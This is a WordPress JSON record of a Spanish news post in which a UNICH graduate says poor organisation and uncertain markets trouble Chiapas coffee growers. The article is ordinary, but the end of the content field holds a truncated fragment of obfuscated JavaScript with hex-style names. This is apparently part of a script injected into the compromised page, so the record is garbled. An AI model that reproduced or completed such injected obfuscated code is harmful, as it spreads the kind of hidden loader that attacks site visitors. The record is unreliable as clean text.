{"id":11676,"date":"2023-09-05T04:15:18","date_gmt":"2023-09-05T04:15:18","guid":{"rendered":"https:\/\/reporteciudadanochiapas.com\/?p=11676"},"modified":"2023-09-05T04:15:18","modified_gmt":"2023-09-05T04:15:18","slug":"no-estar-unidos-es-una-problematica-que-enfrentan-cafeticultores-egresado-de-la-unich","status":"publish","type":"post","link":"https:\/\/reporteciudadanochiapas.com\/?p=11676","title":{"rendered":"No estar unidos es una problem\u00e1tica que enfrentan cafeticultores: egresado de la UNICH"},"content":{"rendered":"\n
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\u00d3scar G\u00f3mez\/Corresponsal04 de Septiembre del 2023. San Crist\u00f3bal de Las Casas.- Antonio Hern\u00e1ndez G\u00f3mez, egresado de la Licenciatura en Desarrollo Sustentable de la Universidad Intercultural de Chiapas (UNICH) consider\u00f3 que entre los retos actuales del caf\u00e9 en Chiapas, es el riesgo de no estar organizados o no tener un mercado garantizado, as\u00ed como las estrategias para darle soluci\u00f3n a la problem\u00e1tica que afectaba la poblaci\u00f3n en el \u00e1mbito caficultor.Durante la presentaci\u00f3n de un Informe de Experiencia Profesional, para obtener el t\u00edtulo de licenciado en Desarrollo Sustentable, present\u00f3 una serie de problem\u00e1ticas que han vivido los cafeticultores en las Regiones Altos y Norte, \u201cconsideradas por la Organizaci\u00f3n de las Naciones Unidas para la Alimentaci\u00f3n y la Agricultura (FAO) y la Secretar\u00eda de Desarrollo Social, como las regiones del pa\u00eds de mayor marginaci\u00f3n y conflictividad social (FAO, 2020)\u201d.Antonio Hern\u00e1ndez, ha sido T\u00e9cnico de La Sagarpa, teniendo un acompa\u00f1amiento t\u00e9cnico hacia los productores de caf\u00e9, logrando actividades dentro del proyecto integral (Vivero semi-tecnificado) y un acompa\u00f1amiento en la producci\u00f3n de alm\u00e1cigos, desde el semillero, mezcla de sustratos para el llenado bolsas, trasplante de pesetillas, y labores agron\u00f3micas.\u201cLa parte dif\u00edcil es la cuesti\u00f3n social en la organizaci\u00f3n, en las organizaciones que he estado han sido complejos esa problem\u00e1tica, cuando no hay una buen acopio de caf\u00e9 o buen pago a los productos que entregan a la organizaci\u00f3n, ha sido la disgreganccia de productores agremiados a una organizaci\u00f3n, si no completamos el volumen de la cosecha, no completamos con los compradores, eso ha sido una problema de volumen de cosecha\u201d, dijo.Hern\u00e1ndez G\u00f3mez, afirm\u00f3 que muchos cafeticultores, aun no se reponen de las afectaciones que les dej\u00f3 la Roya, pero con la asistencia t\u00e9cnica que ha hecho en sus trabajos , han logrado que se recuperen, y actualmente hay buena producci\u00f3n, pero a\u00fan hace falta que se conjunten para poder completar env\u00edos que hacen a otros pa\u00edses.Destac\u00f3 que desde que egres\u00f3, las asignaturas que la UNICH le imparti\u00f3 como estudiante, le ha ayudado a emplearse en diferentes instituciones de gobierno y organizaciones sociales, ya que actualmente se encuentra dentro del programa de Sembrando vida, y ha podido realizar sus funciones con la vinculaci\u00f3n comunitaria.<\/p>\n\r\n(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return ","protected":false},"excerpt":{"rendered":"

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